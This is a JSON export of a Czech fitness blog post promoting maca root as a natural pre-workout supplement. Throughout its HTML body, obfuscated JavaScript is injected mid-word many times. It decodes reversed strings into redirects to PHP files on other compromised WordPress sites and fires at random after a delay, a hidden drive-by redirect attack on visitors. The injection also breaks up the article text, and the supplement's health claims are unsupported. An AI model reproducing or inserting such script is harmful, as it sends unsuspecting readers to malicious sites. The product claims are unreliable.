{"id":584,"date":"2022-01-30T16:57:10","date_gmt":"2022-01-30T16:57:10","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=584"},"modified":"2022-01-30T16:57:10","modified_gmt":"2022-01-30T16:57:10","slug":"maca-prirodni-predtreninkovka","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2022\/01\/30\/maca-prirodni-predtreninkovka\/","title":{"rendered":"MACA \u2013 P\u0158\u00cdRODN\u00cd P\u0158EDTR\u00c9NINKOVKA"},"content":{"rendered":"<p><strong>Cesta k\u00a0super tr\u00e9ninkov\u00fdm v\u00fdsledk\u016fm se neobejde bez obrovsk\u00e9ho \u00fasil\u00ed, tvrd\u00e9 discipl\u00edny a v\u00a0neposledn\u00ed \u0159ad\u011b tak\u00e9 vy\u017eaduje promy\u0161len\u00fd p\u0159\u00edstup. Pokud m\u00e1 t\u011blo dlouhodob\u011b reagovat n\u00e1r\u016fstem hmoty, s\u00edly \u010di v\u00fdkonnosti, pot\u0159ebuje dost\u00e1vat st\u00e1le nov\u00e9 podn\u011bty, na kter\u00e9 se doposud neadap<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovalo. A ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pos<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toj se v\u00e1m vyplat\u00ed i v\u00a0ot\u00e1zk\u00e1ch suplementace. Vsa\u010fte tedy na m\u00e9n\u011b tradi\u010dn\u00ed p\u0159\u00edstupy.<\/strong><\/p>\n<p>Trendem posledn\u00ed doby jsou tzv. p\u0159edtr\u00e9ninkovky \u2013 produkty obsahuj\u00edc\u00ed celou \u0159adu ingredienc\u00ed. Jejich c\u00edlem je nav\u00fd\u0161it hladinu energie, podpo\u0159it koncentraci a celkov\u011b nabudit t\u011blo k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, aby v\u00a0tr\u00e9ninku podalo co nejlep\u0161\u00ed v\u00fdkon.<\/p>\n<p><strong>Jestli chcete v\u00a0r\u00e1mci volby p\u0159etr\u00e9ninkov\u00e9ho suplementu s\u00e1hnou po n\u011b\u010dem nov\u00e9m, ale p\u0159es<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vyzkou\u0161en\u00e9m a osv\u011bd\u010den\u00e9m, nab\u00edz\u00ed se v\u00e1m MACA. <\/strong><\/p>\n<p>Ko\u0159en peru\u00e1nsk\u00e9 rostliny maca se dnes \u0159ad\u00ed mezi tzv. superpotraviny a pro sv\u00e9 l\u00e9\u010div\u00e9 a energizuj\u00edc\u00ed \u00fa\u010dinky je pou\u017e\u00edv\u00e1n ji\u017e zhruba \u0161est tis\u00edc let. M\u00e1 zcela unik\u00e1tn\u00ed schopnost harmonizovat t\u011blesn\u00e9 funkce. Z\u00a0odborn\u00e9ho hlediska maca pat\u0159\u00ed mezi adap<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>togeny, tedy produkty rostlinn\u00e9ho p\u016fvody, kter\u00e9 v\u00a0t\u011ble navozuj\u00ed rovnov\u00e1hu \u2013 navy\u0161uj\u00ed hladinu energie, stejn\u011b jako m\u00edrn\u00ed stres podle <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, co je zrovna t\u0159eba.<\/p>\n<p><strong>Jak\u00fdm zp\u016fsobem maca zkvalitn\u00ed v\u00e1\u0161 tr\u00e9nink?<\/strong><\/p>\n<p><strong>Obsahuje kvalitn\u00ed aminokyseliny a fy<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tonutrienty.<\/strong><\/p>\n<p>Maca je zdrojem 18 z\u00a020 aminokyselin pot\u0159ebn\u00fdch pro fungov\u00e1n\u00ed lidsk\u00e9ho t\u011bla. A pr\u00e1v\u011b aminokyseliny j\u00ed umo\u017en\u00ed nejenom zv\u00fd\u0161it fyzickou v\u00fdkonnost, ale tak\u00e9 n\u00e1sledn\u011b podpo\u0159it regeneraci a r\u016fst svalov\u00e9 hmoty. D\u00edky synergick\u00fdm \u00fa\u010dink\u016fm tzv. fy<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tonutrient\u016f (l\u00e1tek rostlinn\u00e9ho p\u016fvodu) m\u00e1 siln\u00e9 antioxida\u010dn\u00ed \u00fa\u010dinky, tak\u017ee spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm pom\u00e1h\u00e1 v\u00a0boji se \u0161kodliv\u00fdmi\u00a0voln\u00fdmi radik\u00e1ly, kter\u00e9 v\u00a0t\u011ble vznikaj\u00ed p\u0159i vy\u010derp\u00e1vaj\u00edc\u00edm tr\u00e9ninku.<\/p>\n<p><strong>Vliv na \u010dinnost \u0161t\u00edtn\u00e9 \u017el\u00e1zy<\/strong><\/p>\n<p>O \u0161t\u00edtn\u00e9 \u017el\u00e1ze v\u00edme, \u017ee napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to z\u00e1sadn\u00edm zp\u016fsobem ovliv\u0148uje hormon\u00e1ln\u00ed funkce t\u011bla a \u010dinnost metabolismu. Pokud v\u00e1m maca pom\u016f\u017ee optimalizovat jej\u00ed funkce, m\u016f\u017eete po\u010d\u00edtat s\u00a0vytvo\u0159en\u00edm velmi dobr\u00fdch podm\u00ednek pro rozvoj fyzick\u00e9 v\u00fdkonnosti.<\/p>\n<p><strong>Podpora vylu\u010dov\u00e1n\u00ed tes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tosteronu<\/strong><\/p>\n<p>Maca byla his<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toricky vyu\u017e\u00edv\u00e1na pro zv\u00fd\u0161en\u00ed hladiny energie a libida, za ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u00fa\u010dinky vd\u011b\u010d\u00ed schopnosti nav\u00fd\u0161it hladinu tes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tosteronu a sou\u010dasn\u011b redukovat nadbyte\u010dn\u00fd estrogen. To silov\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci bezpochyby ocen\u00ed, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee se t\u00edm pro n\u011b zlep\u0161uj\u00ed vyhl\u00eddky na n\u00e1r\u016fst svalov\u00e9 hmoty i s\u00edly, lep\u0161\u00ed regeneraci po v\u00fdkonu \u010di udr\u017een\u00ed st\u00e1vaj\u00edc\u00ed svalov\u00e9 hmoty.<\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-586 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/01\/web-maca1-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" 